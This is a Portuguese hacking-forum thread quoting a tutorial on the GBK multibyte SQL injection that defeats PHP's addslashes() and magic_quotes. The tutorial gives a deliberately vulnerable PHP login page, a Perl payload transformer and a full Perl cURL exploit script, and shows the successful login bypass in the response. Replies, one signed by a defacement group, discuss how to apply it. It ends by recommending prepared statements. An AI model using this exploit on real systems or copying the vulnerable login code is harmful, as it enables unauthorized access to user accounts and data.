Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

Burlando '\ addslashes() e magic_quotes

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Burlando '\ addslashes() e magic_quotes

    Autor: Fvox

    __________
    . Introdução\______________________________________

    Hi.

    Quando foi descoberto este ataque bobo de ' or '1'='1, muita gente recorreu a função addslashes() para a proteção, ou até mesmo a diretiva magic_quotes_gpc, cuja escapa (adiciona \ antes das aspas nos métodos GET, POST E COOKIE) automaticamente à cada requisição.
    Ainda em 2006, um pesquisador chamado Chris Shiflett descobriu um bug que, conforme a configuração do MySQL, acaba "cancelando" a adição do escape na aspa.


    _____________
    . Vulnerabilidade\__________________________________

    A falha acontece na codificação GBK, que é uma extensão da codificação GB 2312 (Guojia Biaozhun), utilizada na China.

    O que acontece, basicamente, é que na codificação GBK a sequência de caracteres \xbf\x27 é interpretada como single-byte. Ou seja, ao injetar isso, a função addslashes() transformará a string em 0xbf5c27 que apesar de ser multibyte, a string 0xbf5c será interpretada como um único byte, liberando as single-quotes (\x27).

    Se você for testar em localhost como eu, provavelmente você terá que trocar o default-character-set no my.cnf para GBK, que fica na sessão [client] do arquivo my.cfn, que fica no /etc/ ou /etc/mysql/. ;-)

    __________
    . Praticando\______________________________________

    Primeiro vamos criar o banco de dados na base.
    Código:
    CREATE DATABASE `fvox`; --Se voce nao modificou o my.cfn, entao DEFAULT CHARACTER SET...
    Criando as tabelas:

    Código:

    CREATE TABLE login (
    usuario VARCHAR(10) CHARACTER SET GBK,
    senha VARCHAR(15) CHARACTER SET GBK,
    );


    Para utilizar o exemplo do tutorial, preciso inserir na tabela algumas informações de login:
    Código:

    INSERT INTO login (`usuario`, `senha`) VALUES ('fvox', 'invaders');

    Simulando um sistema de login:
    Código PHP:
    <?php
    if(!isset($_POST['user']) && !isset($_POST['passwd'])){
    ?>
    <html>
    <body>
    <center>
    <form action="" method="POST">
    Usuario: <input name="user" type="text"><br>
    Senha: <input name="passwd" type="password"><br>
    <input type="submit" value="Enviar">
    </form>
    </center>
    </body>
    <?php
    }
    else {
    mysql_connect('localhost', 'root', '');
    mysql_select_db('fvox');
    $r = mysql_query(sprintf('SELECT * FROM login WHERE usuario = \'%s\' AND senha = \'%s\'', addslashes($_POST['user']), addslashes($_POST['passwd'])));
    if(mysql_fetch_array($r)) # ((bool) array() == FALSE)
    echo 'Logado com sucesso!';
    else
    echo 'Usuario e/ou senha incorretos!';
    mysql_close();
    }
    ?>
    Tudo o precisamos fazer para exploitar isso, seria uma request do tipo:
    POST /fvox.php?user=fvox&passwd=EXPLOIT HTTP/1.1...
    O problema é que se você injetar isso na mão pelo browser, é provável que você tenha seus bugs por causa da codificação.

    Ou seja, podemos fazer algo em Perl pra automatizar essa parada na base do replace mesmo. Por exemplo:
    Código PHP:
    #!/usr/bin/env perl

    $_ = '\' or \'1\'=\'1';
    s/x27/chr(0xbf).chr(0x27)/ge;
    print;
    Sendo assim, podemos utilizar a lib cURL e criar um exploit que automatiza tudo:
    Código PHP:
    #!/usr/bin/env perl

    use common::sense;
    use WWW::Curl::Easy;

    sub cURL {
    my ( $url, $header, $post ) = @_;
    my $curl = WWW::Curl::Easy->new;
    $curl->setopt( CURLOPT_HEADER, $header // 0 );
    $curl->setopt( CURLOPT_NOBODY, $header // 0 );
    $curl->setopt( CURLOPT_URL, $url );
    if(defined $post) {
    $curl->setopt( CURLOPT_CUSTOMREQUEST, $post ? 'POST' : 'GET' );
    $curl->setopt( CURLOPT_POST, 1 );
    $curl->setopt( CURLOPT_POSTFIELDS, $post );
    }
    my $r;
    $curl->setopt( CURLOPT_WRITEDATA, $r );
    return ( $curl->perform == 0 ) ? $r : 0;
    }

    my $xpl = '\' or \'1\'=\'1';
    $xpl =~ s/x27/chr(0xbf).chr(0x27)/ge;
    say cURL('http://localhost/invaders/', 1, 'user=fvox&passwd=' . $xpl);
    Response:
    Código:

    HTTP/1.1 200 OK
    ...
    Server: Apache/2.2.17 (Unix) ... PHP/5.3.5 ...
    ...
    Content-Type: text/html

    Logado com sucesso!
    __________
    . Finalizando\______________________________________

    Como vimos, não podemos confiar muito na função addslashes(). É por isso que é extremamente recomendável utilizar a função mysql_real_escape_string() ou a extensão PDO (PHP Data Objects) com as funções prepare() antes de realizar uma consulta onde haja um input direto do usuário.

    Enjoy ur pwnz!

    []'s
    Então pessoal, to procurando como burlar o addslashes e magic quotes, achei esse artigo aí em cima, do Fvox, mas não consigo testar akilo, to precisando muito saber como funciona (trabalho universitário), alguem pode dar uma dica? como eu aplico isso?
    Similar Threads

  • Font Size
    #2
    magic_quotes me lembra fusing.
    É um belo material, pena que esta faltando algumas partes pequenas...
    POSTE .......................................
    Nao Participa ainda ?
    * Comunidade Elite Defacer


    Elite Defacer
    Hackeralp - 5ubZer0 - $cr34m()

    Comment


    • Font Size
      #3
      Bem que o cara podia dizer como faz isso na url, ele usa um script perl, daí complica tudo. não estou entendendo a logica do tuto

      Comment


      • Font Size
        #4
        Hi !
        Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

        []'s

        Comment


        • Font Size
          #5
          Não mesmo.

          Comment


          • Font Size
            #6
            Bem que o cara podia dizer como faz isso na url, ele usa um script perl, daí complica tudo. não estou entendendo a logica do tuto
            Isso msm...............


            sigpic

            Comment


            • Font Size
              #7
              Postado Originalmente por leohotluz Ver Post
              Bem que o cara podia dizer como faz isso na url, ele usa um script perl, daí complica tudo. não estou entendendo a logica do tuto
              Hi.

              Encontrei este tópico através de um crawler meu em perl, então não reclama hahahahahah. =P

              Seguinte, como eu informei no tutorial, estamos trabalhando com outra codificação. O browser ao enviar uma request via GET utiliza um padrão de encode na url, se não me engano presente no RFC1738:
              O problema é que se você injetar isso na mão pelo browser, é provável que você tenha seus bugs por causa da codificação.
              Ou seja, a request tem que ser feita na unha através de LWP, cURL ou qualquer lib de sockets mesmo.

              []'s
              Desenvolvedor Perl, PHP, .NET (C#, VB.NET, ASP.NET), Java (J2EE), Shell Script, JavaScript/Ajax, C, amante de Linux e noob.

              twitter | last.fm

              Comment


              • Font Size
                #8
                Haháaa.. q bom q vc apareceu mano.. agora q to mais afiado vo tenta..

                Comment


                • Font Size
                  #9
                  É.. testei.. não funcionou, devido a atualizações dos programas deve ter dado algum comportamento diferente... da na mesma que se eu colocar direto no navegador, as barras invertidas aparecem. talvez o apache novo esteja protegido contra isso... vcs sabem quais as versões afetadas por esse exploit? to usando aki, mysql 5.5, apache 2.2.19 e php 5.3.6.. talvez eu esteja fazendo errado.. num sei.
                  humf.. um dia eu consigo passar por cima do addslashes UHAHAHAHAUHAUHA

                  vlw ae fvox!.

                  Comment

                  X
                  Working...
                  X